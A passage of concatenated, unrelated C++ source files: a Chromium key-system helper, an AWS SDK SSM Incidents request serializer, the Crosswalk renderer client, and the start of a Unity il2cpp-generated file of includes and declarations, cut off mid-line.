concrete_key_systems) { // TODO(crbug.com/853336): Update media.mojom.KeySystemSupport to handle this // case and use it instead. std::vector key_system_names; content::RenderThread::Get()->Send( new ChromeViewHostMsg_GetPlatformKeySystemNames(&key_system_names)); for (std::vector::const_iterator it = key_system_names.begin(); it != key_system_names.end(); ++it) { SupportedKeySystemResponse response = QueryKeySystemSupport(*it); if (response.non_secure_codecs != media::EME_CODEC_NONE) { concrete_key_systems->emplace_back(new AndroidPlatformKeySystemProperties( *it, response.non_secure_codecs)); } } } } // namespace cdm perfectrecall/aws-sdk-cppaws-cpp-sdk-ssm-incidents/source/model/CreateResponsePlanRequest.cpp /** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include #include #include using namespace Aws::SSMIncidents::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; CreateResponsePlanRequest::CreateResponsePlanRequest() : m_actionsHasBeenSet(false), m_chatChannelHasBeenSet(false), m_clientToken(Aws::Utils::UUID::RandomUUID()), m_clientTokenHasBeenSet(true), m_displayNameHasBeenSet(false), m_engagementsHasBeenSet(false), m_incidentTemplateHasBeenSet(false), m_nameHasBeenSet(false), m_tagsHasBeenSet(false) { } Aws::String CreateResponsePlanRequest::SerializePayload() const { JsonValue payload; if(m_actionsHasBeenSet) { Array actionsJsonList(m_actions.size()); for(unsigned actionsIndex = 0; actionsIndex < actionsJsonList.GetLength(); ++actionsIndex) { actionsJsonList[actionsIndex].AsObject(m_actions[actionsIndex].Jsonize()); } payload.WithArray("actions", std::move(actionsJsonList)); } if(m_chatChannelHasBeenSet) { payload.WithObject("chatChannel", m_chatChannel.Jsonize()); } if(m_clientTokenHasBeenSet) { payload.WithString("clientToken", m_clientToken); } if(m_displayNameHasBeenSet) { payload.WithString("displayName", m_displayName); } if(m_engagementsHasBeenSet) { Array engagementsJsonList(m_engagements.size()); for(unsigned engagementsIndex = 0; engagementsIndex < engagementsJsonList.GetLength(); ++engagementsIndex) { engagementsJsonList[engagementsIndex].AsString(m_engagements[engagementsIndex]); } payload.WithArray("engagements", std::move(engagementsJsonList)); } if(m_incidentTemplateHasBeenSet) { payload.WithObject("incidentTemplate", m_incidentTemplate.Jsonize()); } if(m_nameHasBeenSet) { payload.WithString("name", m_name); } if(m_tagsHasBeenSet) { JsonValue tagsJsonMap; for(auto& tagsItem : m_tags) { tagsJsonMap.WithString(tagsItem.first, tagsItem.second); } payload.WithObject("tags", std::move(tagsJsonMap)); } return payload.View().WriteReadable(); } // Copyright (c) 2013 Intel Corporation. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "xwalk/runtime/renderer/xwalk_content_renderer_client.h" #include "base/strings/utf_string_conversions.h" #include "components/visitedlink/renderer/visitedlink_slave.h" #include "content/public/renderer/render_frame.h" #include "content/public/renderer/render_frame_observer.h" #include "content/public/renderer/render_frame_observer_tracker.h" #include "content/public/renderer/render_thread.h" #include "grit/xwalk_application_resources.h" #include "grit/xwalk_sysapps_resources.h" #include "third_party/WebKit/public/platform/WebString.h" #include "third_party/WebKit/public/web/WebDocument.h" #include "third_party/WebKit/public/web/WebSecurityPolicy.h" #include "xwalk/application/common/constants.h" #include "xwalk/application/renderer/application_native_module.h" #include "xwalk/extensions/renderer/xwalk_js_module.h" #if defined(OS_ANDROID) #include "xwalk/runtime/renderer/android/xwalk_permission_client.h" #include "xwalk/runtime/renderer/android/xwalk_render_process_observer.h" #include "xwalk/runtime/renderer/android/xwalk_render_view_ext.h" #else #include "third_party/WebKit/public/web/WebFrame.h" #endif #if defined(OS_TIZEN) #include "xwalk/runtime/common/xwalk_common_messages.h" #endif #if defined(OS_TIZEN_MOBILE) #include "xwalk/runtime/renderer/tizen/xwalk_content_renderer_client_tizen.h" #endif #if defined(OS_TIZEN) #include "xwalk/runtime/renderer/tizen/xwalk_render_view_ext_tizen.h" #endif namespace xwalk { namespace { xwalk::XWalkContentRendererClient* g_renderer_client; class XWalkFrameHelper : public content::RenderFrameObserver, public content::RenderFrameObserverTracker { public: XWalkFrameHelper( content::RenderFrame* render_frame, extensions::XWalkExtensionRendererController* extension_controller) : content::RenderFrameObserver(render_frame), content::RenderFrameObserverTracker(render_frame), extension_controller_(extension_controller) {} virtual ~XWalkFrameHelper() {} // RenderFrameObserver implementation. virtual void WillReleaseScriptContext(v8::Handle context, int world_id) OVERRIDE { extension_controller_->WillReleaseScriptContext( render_frame()->GetWebFrame(), context); } private: extensions::XWalkExtensionRendererController* extension_controller_; DISALLOW_COPY_AND_ASSIGN(XWalkFrameHelper); }; } // namespace XWalkContentRendererClient* XWalkContentRendererClient::Get() { return g_renderer_client; } XWalkContentRendererClient::XWalkContentRendererClient() { DCHECK(!g_renderer_client); g_renderer_client = this; } XWalkContentRendererClient::~XWalkContentRendererClient() { g_renderer_client = NULL; } void XWalkContentRendererClient::RenderThreadStarted() { extension_controller_.reset( new extensions::XWalkExtensionRendererController(this)); blink::WebString application_scheme( base::ASCIIToUTF16(application::kApplicationScheme)); blink::WebSecurityPolicy::registerURLSchemeAsSecure(application_scheme); blink::WebSecurityPolicy::registerURLSchemeAsCORSEnabled(application_scheme); content::RenderThread* thread = content::RenderThread::Get(); xwalk_render_process_observer_.reset(new XWalkRenderProcessObserver); thread->AddObserver(xwalk_render_process_observer_.get()); #if defined(OS_ANDROID) visited_link_slave_.reset(new visitedlink::VisitedLinkSlave); thread->AddObserver(visited_link_slave_.get()); #endif } void XWalkContentRendererClient::RenderFrameCreated( content::RenderFrame* render_frame) { new XWalkFrameHelper(render_frame, extension_controller_.get()); #if defined(OS_ANDROID) new XWalkPermissionClient(render_frame); #endif } void XWalkContentRendererClient::RenderViewCreated( content::RenderView* render_view) { #if defined(OS_ANDROID) XWalkRenderViewExt::RenderViewCreated(render_view); #elif defined(OS_TIZEN) XWalkRenderViewExtTizen::RenderViewCreated(render_view); #endif } void XWalkContentRendererClient::DidCreateScriptContext( blink::WebFrame* frame, v8::Handle context, int extension_group, int world_id) { extension_controller_->DidCreateScriptContext(frame, context); #if !defined(OS_ANDROID) xwalk_render_process_observer_->DidCreateScriptContext( frame, context, extension_group, world_id); #endif } void XWalkContentRendererClient::DidCreateModuleSystem( extensions::XWalkModuleSystem* module_system) { scoped_ptr app_module( new application::ApplicationNativeModule()); module_system->RegisterNativeModule("application", app_module.Pass()); module_system->RegisterNativeModule("sysapps_common", extensions::CreateJSModuleFromResource(IDR_XWALK_SYSAPPS_COMMON_API)); module_system->RegisterNativeModule("sysapps_promise", extensions::CreateJSModuleFromResource( IDR_XWALK_SYSAPPS_COMMON_PROMISE_API)); module_system->RegisterNativeModule("widget_common", extensions::CreateJSModuleFromResource( IDR_XWALK_APPLICATION_WIDGET_COMMON_API)); } #if defined(OS_ANDROID) unsigned long long XWalkContentRendererClient::VisitedLinkHash( // NOLINT const char* canonical_url, size_t length) { return visited_link_slave_->ComputeURLFingerprint(canonical_url, length); } bool XWalkContentRendererClient::IsLinkVisited(unsigned long long link_hash) { // NOLINT return visited_link_slave_->IsVisited(link_hash); } #endif bool XWalkContentRendererClient::WillSendRequest(blink::WebFrame* frame, content::PageTransition transition_type, const GURL& url, const GURL& first_party_for_cookies, GURL* new_url) { #if defined(OS_ANDROID) return false; #else if (!xwalk_render_process_observer_->IsWarpMode()) return false; GURL origin_url(frame->document().url()); GURL app_url(xwalk_render_process_observer_->app_url()); if ((url.scheme() == app_url.scheme() && url.host() == app_url.host()) || frame->document().securityOrigin().canRequest(url)) { LOG(INFO) << "[PASS] " << origin_url.spec() << " request " << url.spec(); return false; } LOG(INFO) << "[BLOCK] " << origin_url.spec() << " request " << url.spec(); #if defined(OS_TIZEN) if (origin_url.spec().empty()) content::RenderThread::Get()->Send(new ViewMsg_OpenLinkExternal(url)); #endif *new_url = GURL(); return true; #endif } } // namespace xwalk BPenzar/SuperDinoBros.Unity_Code/DinoRun_Final/Temp/il2cppOutput/il2cppOutput/Bulk_UnityEngine_0.cpp #include "il2cpp-config.h" #ifndef _MSC_VER # include #else # include #endif #include #include #include #include #include #include #include "class-internals.h" #include "codegen/il2cpp-codegen.h" #include "mscorlib_System_Array3829468939.h" #include "UnityEngine_U3CModuleU3E3783534214.h" #include "UnityEngine_U3CPrivateImplementationDetailsU3E1486305137.h" #include "UnityEngine_U3CPrivateImplementationDetailsU3E_U241459944470.h" #include "UnityEngine_SimpleJson_JsonArray1679500587.h" #include "mscorlib_System_Void1841601450.h" #include "mscorlib_System_Collections_Generic_List_1_gen2058570427.h" #include "mscorlib_System_String2029220233.h" #include "mscorlib_System_Object2689449295.h" #include "UnityEngine_SimpleJson_JsonObject2300545015.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_ge309261261.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_K2792759032.h" #include "mscorlib_System_Boolean3825574718.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_V3307288400.h" #include "mscorlib_System_Collections_Generic_KeyValuePair_22361573779.h" #include "mscorlib_System_Collections_Generic_KeyValuePair_2_g38854645.h" #include "mscorlib_System_Int322071877448.h" #include "mscorlib_System_ArgumentNullException628810857.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_E1629285963.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_E3601534125.h" #include "UnityEngine_SimpleJson_PocoJsonSerializerStrategy2810850750.h" #include "mscorlib_System_IntPtr2504060609.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_3084043859.h" #include "mscorlib_System_Type1303803226.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_3698747442.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_4203819763.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_T880847899.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_1385920220.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_T134667198.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_T639739519.h" #include "mscorlib_System_Reflection_PropertyInfo2253729065.h" #include "mscorlib_System_Reflection_FieldInfo255040150.h" #include "mscorlib_System_Reflection_MethodInfo3330546337.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_g2267060895.h" #include "mscorlib_System_Reflection_MethodBase904190842.h" #include "mscorlib_System_Reflection_MemberInfo4043097260.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_G352281633.h" #include "mscorlib_System_Collections_Generic_KeyValuePair_23901068228.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_4206365109.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_g1520880194.h" #include "mscorlib_System_Enum2459695545.h" #include "mscorlib_System_Globalization_CultureInfo3500843524.h" #include "mscorlib_System_Double4078015681.h" #include "mscorlib_System_DateTime693205669.h" #include "mscorlib_System_DateTimeOffset1362988906.h" #include "mscorlib_System_Guid2533601593.h" #include "System_System_Uri19570940.h" #include "mscorlib_System_Collections_Generic_KeyValuePair_2_g24406117.h" #include "mscorlib_System_RuntimeTypeHandle2330101084.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils3032483338.h" #include "mscorlib_System_Reflection_ConstructorInfo2851816542.h" #include "mscorlib_System_Reflection_ParameterInfo2249040075.h" #include "mscorlib_System_Reflection_BindingFlags1082350898.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_2768820979.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_2504894547.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_4070978488.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_3443081649.h" #include "UnityEngine_SimpleJson_Reflection_ReflectionUtils_1070428654.h" #include "mscorlib_System_AsyncCallback163412349.h" #include "UnityEngine_SimpleJson_SimpleJson3569903358.h" #include "mscorlib_System_Char3454481338.h" #include "mscorlib_System_Text_StringBuilder1221177846.h" #include "mscorlib_System_Globalization_NumberStyles3408984435.h" #include "mscorlib_System_UInt322149682021.h" #include "mscorlib_System_ArgumentOutOfRangeException279959794.h" #include "mscorlib_System_StringComparison2376310518.h" #include "mscorlib_System_Int64909078037.h" #include "mscorlib_System_Decimal724701077.h" #include "mscorlib_System_UInt642909196914.h" #include "mscorlib_System_Single2076509932.h" #include "mscorlib_System_SByte454417549.h" #include "mscorlib_System_Byte3683104436.h" #include "mscorlib_System_Int164041245914.h" #include "mscorlib_System_UInt16986882611.h" #include "UnityEngine_UnityEngine_AddComponentMenu1099699699.h" #include "mscorlib_System_Attribute542643598.h" #include "UnityEngine_UnityEngine_Analytics_Analytics2007048212.h" #include "UnityEngine_UnityEngine_Analytics_UnityAnalyticsHa3238795095.h" #include "UnityEngine_UnityEngine_Analytics_AnalyticsResult3037633135.h" #include "UnityEngine_UnityEngine_Analytics_CustomEventData1269126727.h" #include "mscorlib_System_ArgumentException3259014390.h" #include "UnityEngine_UnityEngine_AnimationClip3510324950.h" #include "UnityEngine_UnityEngine_AnimationCurve3306541151.h" #include "UnityEngine_UnityEngine_Keyframe1449471340.h" #include "UnityEngine_UnityEngine_AnimationEvent2428323300.h" #include "UnityEngine_UnityEngine_Object1021602117.h" #include "UnityEngine_UnityEngine_AnimationEventSource3560017945.h" #include "UnityEngine_UnityEngine_AnimationState1303741697.h" #include "UnityEngine_UnityEngine_AnimatorStateInfo2577870592.h" #include "UnityEngine_UnityEngine_AnimatorClipInfo3905751349.h" #include "UnityEngine_UnityEngine_SendMessageOptions1414041951.h" #include "UnityEngine_UnityEngine_Animator69676727.h" #include "UnityEngine_UnityEngine_AnimatorTransitionInfo2410896200.h" #include "UnityEngine_UnityEngine_AnimatorControllerParamete1381019216.h" #include "UnityEngine_UnityEngine_AnimatorControllerParamete3688495056.h" #include "UnityEngine_UnityEngine_Application354826772.h" #include "UnityEngine_UnityEngine_Application_LowMemoryCallba642977590.h" #include "UnityEngine_UnityEngine_RuntimePlatform1869584967.h" #include "UnityEngine_UnityEngine_LogType1559732862.h" #include "UnityEngine_UnityEngine_Application_LogCallback1867914413.h" #include "UnityEngine_UnityEngine_AssemblyIsEditorAssembly1557026495.h" #include "UnityEngine_UnityEngine_AssetBundle2054978754.h" #include "UnityEngine_UnityEngine_AssetBundleCreateRequest1038783543.h" #include "UnityEngine_UnityEngine_AsyncOperation3814632279.h" #include "UnityEngine_UnityEngine_AssetBundleRequest2674559435.h" #include "UnityEngine_UnityEngine_YieldInstruction3462875981.h" #include "UnityEngine_UnityEngine_AttributeHelperEngine958797062.h" #include "System_System_Collections_Generic_Stack_1_gen2391531380.h" #include "mscorlib_System_Collections_Generic_List_1_gen672924358.h" #include "UnityEngine_UnityEngine_RequireComponent864575032.h" #include "UnityEngine_UnityEngine_DefaultExecutionOrder2717914595.h" #include "UnityEngine_UnityEngine_DisallowMultipleComponent2656950.h" #include "UnityEngine_UnityEngine_ExecuteInEditMode3043633143.h" #include "UnityEngine_UnityEngine_AudioClip1932558630.h" #include "UnityEngine_UnityEngine_AudioClip_PCMReaderCallbac3007145346.h" #include "UnityEngine_UnityEngine_AudioClip_PCMSetPositionCal421863554.h" #include "UnityEngine_UnityEngine_AudioListener1996719162.h" #include "UnityEngine_UnityEngine_AudioSettings3144015719.h" #include "UnityEngine_UnityEngine_AudioSettings_AudioConfigu3743753033.h" #include "UnityEngine_UnityEngine_AudioSource1135106623.h" #include "UnityEngine_UnityEngine_Behaviour955675639.h" #include "UnityEngine_UnityEngine_Component3819376471.h" #include "UnityEngine_UnityEngine_BitStream1979465639.h" #include "UnityEngine_UnityEngine_Quaternion4030073918.h" #include "UnityEngine_UnityEngine_Vector32243707580.h" #include "UnityEngine_UnityEngine_NetworkViewID3942988548.h" #include "UnityEngine_UnityEngine_NetworkPlayer1243528291.h" #include "UnityEngine_UnityEngine_Bounds3033363703.h" #include "UnityEngine_UnityEngine_Camera189460977.h" #include "UnityEngine_UnityEngine_Rect3681755626.h" #include "UnityEngine_UnityEngine_RenderTexture2666733923.h" #include "UnityEngine_UnityEngine_CameraClearFlags452084705.h" #include "UnityEngine_UnityEngine_Ray2469606224.h" #include "UnityEngine_UnityEngine_Camera_CameraCallback834278767.h" #include "UnityEngine_UnityEngine_GameObject1756533147.h" #include "UnityEngine_UnityEngine_Canvas209405766.h" #include "UnityEngine_UnityEngine_RenderMode4280533217.h" #include "UnityEngine_UnityEngine_Material193706927.h" #include "UnityEngine_UnityEngine_Canvas_WillRenderCanvases3522132132.h" #include "mscorlib_System_Delegate3022476291.h" #include "UnityEngine_UnityEngine_CanvasGroup3296560743.h" #include "UnityEngine_UnityEngine_Vector22243707579.h" #include "UnityEngine_UnityEngine_CanvasRenderer261436805.h" #include "UnityEngine_UnityEngine_Color2020392075.h" #include "UnityEngine_UnityEngine_Texture2243626319.h" #include "UnityEngine_UnityEngine_Mesh1356156583.h" #include "mscorlib_System_Collections_Generic_List_1_gen573379950.h" #include "mscorlib_System_Collections_Generic_List_1_gen1612828712.h" #include "mscorlib_System_Collections_Generic_List_1_gen243638650.h" #include "mscorlib_System_Collections_Generic_List_1_gen1612828711.h" #include "mscorlib_System_Collections_Generic_List_1_gen1612828713.h" #include "mscorlib_System_Collections_Generic_List_1_gen1440998580.h" #include "UnityEngine_UnityEngine_CharacterController4094781467.h" #include "UnityEngine_UnityEngine_CollisionFlags4046947985.h" #include "UnityEngine_UnityEngine_Collections_DeallocateOnJob987733588.h" #include "UnityEngine_UnityEngine_Collections_NativeContainer269240268.h" #include "UnityEngine_UnityEngine_Collections_NativeContaine3267933728.h" #include "UnityEngine_UnityEngine_Collections_NativeContaine1288953595.h" #include "UnityEngine_UnityEngine_Collections_ReadOnlyAttribu689702060.h" #include "UnityEngine_UnityEngine_Collections_ReadWriteAttri3403607913.h" #include "UnityEngine_UnityEngine_Collections_WriteOnlyAttribu14323075.h" #include "UnityEngine_UnityEngine_Collider3497673348.h" #include "UnityEngine_UnityEngine_Rigidbody4233889191.h" #include "UnityEngine_UnityEngine_Collider2D646061738.h" #include "UnityEngine_UnityEngine_Collision2876846408.h" #include "UnityEngine_UnityEngine_ContactPoint1376425630.h" #include "UnityEngine_UnityEngine_Transform3275118058.h" #include "UnityEngine_UnityEngine_Collision2D1539500754.h" #include "UnityEngine_UnityEngine_ContactPoint2D3659330976.h" #include "UnityEngine_UnityEngine_Rigidbody2D502193897.h" #include "UnityEngine_UnityEngine_Vector42243707581.h" #include "UnityEngine_UnityEngine_Color32874517518.h" #include "mscorlib_System_Collections_Generic_List_1_gen3188497603.h" #include "UnityEngine_UnityEngine_ContactFilter2D1672660996.h" #include "UnityEngine_UnityEngine_LayerMask3188175821.h" #include "UnityEngine_UnityEngine_ContextMenu2283362202.h" #include "UnityEngine_UnityEngine_ControllerColliderHit4070855101.h" #include "UnityEngine_UnityEngine_Coroutine2299508840.h" #include "UnityEngine_UnityEngine_CullingGroup1091689465.h" #include "UnityEngine_UnityEngine_CullingGroup_StateChanged2480912210.h" #include "UnityEngine_UnityEngine_CullingGroupEvent1057617917.h" #include "UnityEngine_UnityEngine_Cursor873194084.h" #include "UnityEngine_UnityEngine_CursorLockMode3372615096.h" #include "UnityEngine_UnityEngine_CustomYieldInstruction1786092740.h" #include "UnityEngine_UnityEngine_Debug1368543263.h" #include "mscorlib_System_Exception1927440687.h" #include "UnityEngine_UnityEngine_DebugLogHandler865810509.h" #include "UnityEngine_UnityEngine_Logger3328995178.h" #include "UnityEngine_UnityEngine_Display3666191348.h" #include "UnityEngine_UnityEngine_Display_DisplaysUpdatedDel3423469815.h" #include "UnityEngine_UnityEngine_DrivenRectTransformTracker154385424.h" #include "UnityEngine_UnityEngine_RectTransform3349966182.h" #include "UnityEngine_UnityEngine_DrivenTransformProperties2488747555.h" #include "UnityEngine_UnityEngine_Event3028476042.h" #include "UnityEngine_UnityEngine_EventModifiers2690251474.h" #include "UnityEngine_UnityEngine_EventType3919834026.h" #include "UnityEngine_UnityEngine_KeyCode2283395152.h" #include "mscorlib_System_Collections_Generic_Dictionary_2_g3986656710.h" #include "UnityEngine_UnityEngine_Events_ArgumentCache4810721.h" #include "UnityEngine_UnityEngine_Events_BaseInvokableCall2229564840.h" #include "UnityEngine_UnityEngine_Events_InvokableCall2183506063.h" #include "UnityEngine_UnityEngine_Events_UnityAction4025899511.h" #include "UnityEngine_UnityEngine_Events_InvokableCallList2295673753.h" #include "mscorlib_System_Collections_Generic_List_1_gen1598685972.h" #include "mscorlib_System_Predicate_1_gen672534955.h" // SimpleJson.JsonArray struct JsonArray_t1679500587; // System.Collections.Generic.List`1 struct List_1_t2058570427; // System.String struct String_t; // System.Object struct Il2CppObject; // SimpleJson.JsonObject struct JsonObject_t2300545015; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t309261261; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t2281509423; // System.Collections.Generic.ICollection`1 struct ICollection_1_t2981295538; // System.Collections.Generic.Dictionary`2/KeyCollection struct KeyCollection_t2792759032; // System.Collections.Generic.Dictionary`2/KeyCollection struct KeyCollection_t470039898; // System.Collections.Generic.ICollection`1 struct ICollection_1_t3641524600; // System.Collections.Generic.Dictionary`2/ValueCollection struct ValueCollection_t3307288400; // System.Collections.Generic.Dictionary`2/ValueCollection struct ValueCollection_t984569266; // System.Collections.Generic.KeyValuePair`2[] struct KeyValuePair_2U5BU5D_t3332939458; // System.ArgumentNullException struct ArgumentNullException_t628810857; // System.Collections.Generic.IEnumerator`1> struct IEnumerator_1_t4132064902; // System.Collections.IEnumerator struct IEnumerator_t1466026749; // SimpleJson.PocoJsonSerializerStrategy struct PocoJsonSerializerStrategy_t2810850750; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2 struct ThreadSafeDictionaryValueFactory_2_t3698747442; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2 struct ThreadSafeDictionaryValueFactory_2_t958855109; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2 struct ThreadSafeDictionary_2_t4203819763; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2 struct ThreadSafeDictionary_2_t1463927430; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2> struct ThreadSafeDictionaryValueFactory_2_t880847899; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2> struct ThreadSafeDictionary_2_t1385920220; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2>> struct ThreadSafeDictionaryValueFactory_2_t134667198; // SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2>> struct ThreadSafeDictionary_2_t639739519; // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate struct ConstructorDelegate_t3084043859; // System.Type struct Type_t; // System.Type[] struct TypeU5BU5D_t1664964607; // System.Collections.Generic.IDictionary`2 struct IDictionary_2_t266144316; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t2267060895; // System.Collections.Generic.IEnumerable`1 struct IEnumerable_1_t2545856110; // System.Reflection.MethodInfo struct MethodInfo_t; // System.Reflection.PropertyInfo struct PropertyInfo_t; // System.Reflection.MethodBase struct MethodBase_t904190842; // SimpleJson.Reflection.ReflectionUtils/GetDelegate struct GetDelegate_t352281633; // System.Collections.Generic.IEnumerable`1 struct IEnumerable_1_t547167195; // System.Reflection.FieldInfo struct FieldInfo_t; // System.Collections.Generic.IDictionary`2> struct IDictionary_2_t3814930911; // System.Collections.Generic.Dictionary`2> struct Dictionary_2_t1520880194; // System.Collections.Generic.Dictionary`2> struct Dictionary_2_t3925882069; // SimpleJson.Reflection.ReflectionUtils/SetDelegate struct SetDelegate_t4206365109; // System.Enum struct Enum_t2459695545; // System.Globalization.CultureInfo struct CultureInfo_t3500843524; // System.IFormatProvider struct IFormatProvider_t2849799027; // System.Collections.Generic.IEnumerable`1 struct IEnumerable_1_t3143943587; // System.Reflection.ConstructorInfo[] struct ConstructorInfoU5BU5D_t1996683371; // System.Reflection.ConstructorInfo struct ConstructorInfo_t2851816542; // System.Reflection.ParameterInfo struct ParameterInfo_t2249040075; // SimpleJson.Reflection.ReflectionUtils/c__AnonStorey0 struct U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979; // SimpleJson.Reflection.ReflectionUtils/c__AnonStorey1 struct U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547; // SimpleJson.Reflection.ReflectionUtils/c__AnonStorey2 struct U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488; // SimpleJson.Reflection.ReflectionUtils/c__AnonStorey3 struct U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649; // SimpleJson.Reflection.ReflectionUtils/c__AnonStorey4 struct U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654; // System.Object[] struct ObjectU5BU5D_t3614634134; // System.IAsyncResult struct IAsyncResult_t1999651008; // System.AsyncCallback struct AsyncCallback_t163412349; // System.Char[] struct CharU5BU5D_t1328083999; // SimpleJson.IJsonSerializerStrategy struct IJsonSerializerStrategy_t209712766; // System.Text.StringBuilder struct StringBuilder_t1221177846; // System.Collections.Generic.IDictionary`2 struct IDictionary_2_t2603311978; // System.ArgumentOutOfRangeException struct ArgumentOutOfRangeException_t279959794; // System.Collections.IEnumerable struct IEnumerable_t2911409499; // UnityEngine.AddComponentMenu struct AddComponentMenu_t1099699699; // System.Attribute struct Attribute_t542643598; // UnityEngine.Analytics.UnityAnalyticsHandler struct UnityAnalyticsHandler_t3238795095; // System.ArgumentException struct ArgumentException_t3259014390; // UnityEngine.Analytics.CustomEventData struct CustomEventData_t1269126727; // UnityEngine.AnimationCurve struct AnimationCurve_t3306541151; // UnityEngine.Keyframe[] struct KeyframeU5BU5D_t449065829; // UnityEngine.Object struct Object_t1021602117; // UnityEngine.AnimationEvent struct AnimationEvent_t2428323300; // UnityEngine.AnimationState struct AnimationState_t1303741697; // UnityEngine.Animator struct Animator_t69676727; // UnityEngine.AnimatorControllerParameter[] struct AnimatorControllerParameterU5BU5D_t1936965233; // UnityEngine.AnimatorControllerParameter struct AnimatorControllerParameter_t1381019216; // UnityEngine.Application/LowMemoryCallback struct LowMemoryCallback_t642977590; // UnityEngine.Application/LogCallback struct LogCallback_t1867914413; // UnityEngine.AssemblyIsEditorAssembly struct AssemblyIsEditorAssembly_t1557026495; // UnityEngine.AssetBundleCreateRequest struct AssetBundleCreateRequest_t1038783543; // UnityEngine.AsyncOperation struct AsyncOperation_t3814632279; // UnityEngine.AssetBundle struct AssetBundle_t2054978754; // UnityEngine.AssetBundleRequest struct AssetBundleRequest_t2674559435; // UnityEngine.Object[] struct ObjectU5BU5D_t4217747464; // UnityEngine.YieldInstruction struct YieldInstruction_t3462875981; // System.Collections.Generic.Stack`1 struct Stack_1_t2391531380; // System.Collections.Generic.Stack`1 struct Stack_1_t3777177449; // System.Collections.Generic.List`1 struct List_1_t672924358; // UnityEngine.RequireComponent struct RequireComponent_t864575032; // UnityEngine.DefaultExecutionOrder struct DefaultExecutionOrder_t2717914595; // UnityEngine.DisallowMultipleComponent struct DisallowMultipleComponent_t2656950; // UnityEngine.ExecuteInEditMode struct ExecuteInEditMode_t3043633143; // UnityEngine.AudioClip struct AudioClip_t1932558630; // System.Single[] struct SingleU5BU5D_t577127397; // UnityEngine.AudioClip/PCMReaderCallback struct PCMReaderCallback_t3007145346; // UnityEngine.AudioClip/PCMSetPositionCallback struct PCMSetPositionCallback_t421863554; // UnityEngine.AudioSettings/AudioConfigurationChangeHandler struct AudioConfigurationChangeHandler_t3743753033; // UnityEngine.AudioSource struct AudioSource_t1135106623; // UnityEngine.Behaviour struct Behaviour_t955675639; // UnityEngine.Component struct Component_t3819376471; // UnityEngine.BitStream struct BitStream_t1979465639; // UnityEngine.Camera struct Camera_t189460977; // UnityEngine.RenderTexture struct RenderTexture_t2666733923; // UnityEngine.Camera[] struct CameraU5BU5D_t3079764780; // UnityEngine.Camera/CameraCallback struct CameraCallback_t834278767; // UnityEngine.GameObject struct GameObject_t1756533147; // UnityEngine.Canvas struct Canvas_t209405766; // UnityEngine.Material struct Material_t193706927; // UnityEngine.Canvas/WillRenderCanvases struct WillRenderCanvases_t3522132132; // System.Delegate struct Delegate_t3022476291; // UnityEngine.CanvasGroup struct CanvasGroup_t3296560743; // UnityEngine.CanvasRenderer struct CanvasRenderer_t261436805; // UnityEngine.Texture struct Texture_t2243626319; // UnityEngine.Mesh struct Mesh_t1356156583; // System.Collections.Generic.List`1 struct List_1_t573379950; // System.Collections.Generic.List`1 struct List_1_t1612828712; // System.Collections.Generic.List`1 struct List_1_t243638650; // System.Collections.Generic.List`1 struct List_1_t1612828711; // System.Collections.Generic.List`1 struct List_1_t1612828713; // System.Collections.Generic.List`1 struct List_1_t1440998580; // UnityEngine.CharacterController struct CharacterController_t4094781467; // UnityEngine.Collections.DeallocateOnJobCompletionAttribute struct DeallocateOnJobCompletionAttribute_t987733588; // UnityEngine.Collections.NativeContainerAttribute struct NativeContainerAttribute_t269240268; // UnityEngine.Collections.NativeContainerSupportsAtomicWriteAttribute struct NativeContainerSupportsAtomicWriteAttribute_t3267933728; // UnityEngine.Collections.NativeContainerSupportsMinMaxWriteRestrictionAttribute struct NativeContainerSupportsMinMaxWriteRestrictionAttribute_t1288953595; // UnityEngine.Collections.ReadOnlyAttribute struct ReadOnlyAttribute_t689702060; // UnityEngine.Collections.ReadWriteAttribute struct ReadWriteAttribute_t3403607913; // UnityEngine.Collections.WriteOnlyAttribute struct WriteOnlyAttribute_t14323075; // UnityEngine.Collider struct Collider_t3497673348; // UnityEngine.Rigidbody struct Rigidbody_t4233889191; // UnityEngine.Collision struct Collision_t2876846408; // UnityEngine.Transform struct Transform_t3275118058; // UnityEngine.ContactPoint[] struct 